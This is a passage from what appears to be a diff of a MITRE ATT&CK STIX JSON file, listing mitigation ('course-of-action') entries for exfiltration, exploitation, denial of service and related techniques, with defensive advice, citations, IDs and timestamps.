Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Email Collection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "external_references": [ + { + "external_id": "T1114", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1114" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:15:57.243Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Protect sensitive information with strong encryption.", + "type": "course-of-action", + "name": "Encrypt Sensitive Information", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "external_references": [ + { + "external_id": "M1041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1041" + } + ], + "modified": "2019-06-11T16:43:44.834Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:43:44.834Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.", + "type": "course-of-action", + "name": "Endpoint Denial of Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628", + "external_references": [ + { + "external_id": "T1499", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1499" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "modified": "2019-07-24T19:16:50.511Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-22T22:03:26.087Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent modification of environment variables by unauthorized users and groups.", + "type": "course-of-action", + "name": "Environment Variable Permissions", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "external_references": [ + { + "external_id": "M1039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1039" + } + ], + "modified": "2019-06-11T16:40:14.543Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:40:14.543Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "type": "course-of-action", + "name": "Environmental Keying Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", + "external_references": [ + { + "external_id": "T1480", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1480" + } + ], + "modified": "2019-07-24T19:17:09.258Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-02-01T14:35:39.565Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", + "type": "course-of-action", + "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Execution Prevention", + "external_references": [ + { + "external_id": "M1038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1038" + } + ], + "modified": "2019-06-11T16:35:25.488Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:35:25.488Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Execution through API Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8", + "external_references": [ + { + "external_id": "T1106", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1106" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:17:59.534Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", + "type": "course-of-action", + "name": "Execution through Module Load Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "external_references": [ + { + "external_id": "T1129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1129" + } + ], + "modified": "2019-07-24T19:18:25.859Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Exfiltration Over Alternative Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "external_references": [ + { + "external_id": "T1048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1048" + }, + { + "source_name": "TechNet Firewall Design", + "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T19:19:07.585Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Exfiltration Over Command and Control Channel Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8", + "external_references": [ + { + "external_id": "T1041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1041" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T19:19:30.892Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)", + "type": "course-of-action", + "name": "Exfiltration Over Other Network Medium Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "external_references": [ + { + "external_id": "T1011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1011" + }, + { + "source_name": "Microsoft GPO Bluetooth FEB 2009", + "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.", + "url": "https://technet.microsoft.com/library/dd252791.aspx" + }, + { + "source_name": "TechRepublic Wireless GPO FEB 2009", + "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.", + "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" + } + ], + "modified": "2019-07-24T19:20:18.344Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "type": "course-of-action", + "name": "Exfiltration Over Physical Medium Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145", + "external_references": [ + { + "external_id": "T1052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1052" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "modified": "2019-07-24T19:20:50.299Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", + "type": "course-of-action", + "name": "Exploit Protection", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "external_references": [ + { + "external_id": "M1050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1050" + } + ], + "modified": "2019-06-11T17:10:57.070Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:10:57.070Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "type": "course-of-action", + "name": "Exploit Public-Facing Application Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--65da1eb6-d35d-4853-b280-98a76c0aef53", + "external_references": [ + { + "external_id": "T1190", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1190" + } + ], + "modified": "2019-07-24T19:21:22.911Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "type": "course-of-action", + "name": "Exploitation for Client Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba", + "external_references": [ + { + "external_id": "T1203", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1203" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:22:39.193Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "type": "course-of-action", + "name": "Exploitation for Credential Access Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31", + "external_references": [ + { + "external_id": "T1212", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1212" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:23:33.259Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "type": "course-of-action", + "name": "Exploitation for Defense Evasion Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725", + "external_references": [ + { + "external_id": "T1211", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1211" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:25:39.532Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.", + "type": "course-of-action", + "name": "Exploitation for Privilege Escalation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502", + "external_references": [ + { + "external_id": "T1068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1068" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:26:18.998Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", + "type": "course-of-action", + "name": "Exploitation of Remote Services Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62", + "external_references": [ + { + "external_id": "T1210", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1210" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:26:53.547Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "type": "course-of-action", + "name": "External Remote Services Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "external_references": [ + { + "external_id": "T1133", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1133" + } + ], + "modified": "2019-07-24T19:27:15.659Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Extra Window Memory Injection Mitigation", + "object_marking_refs": [ + 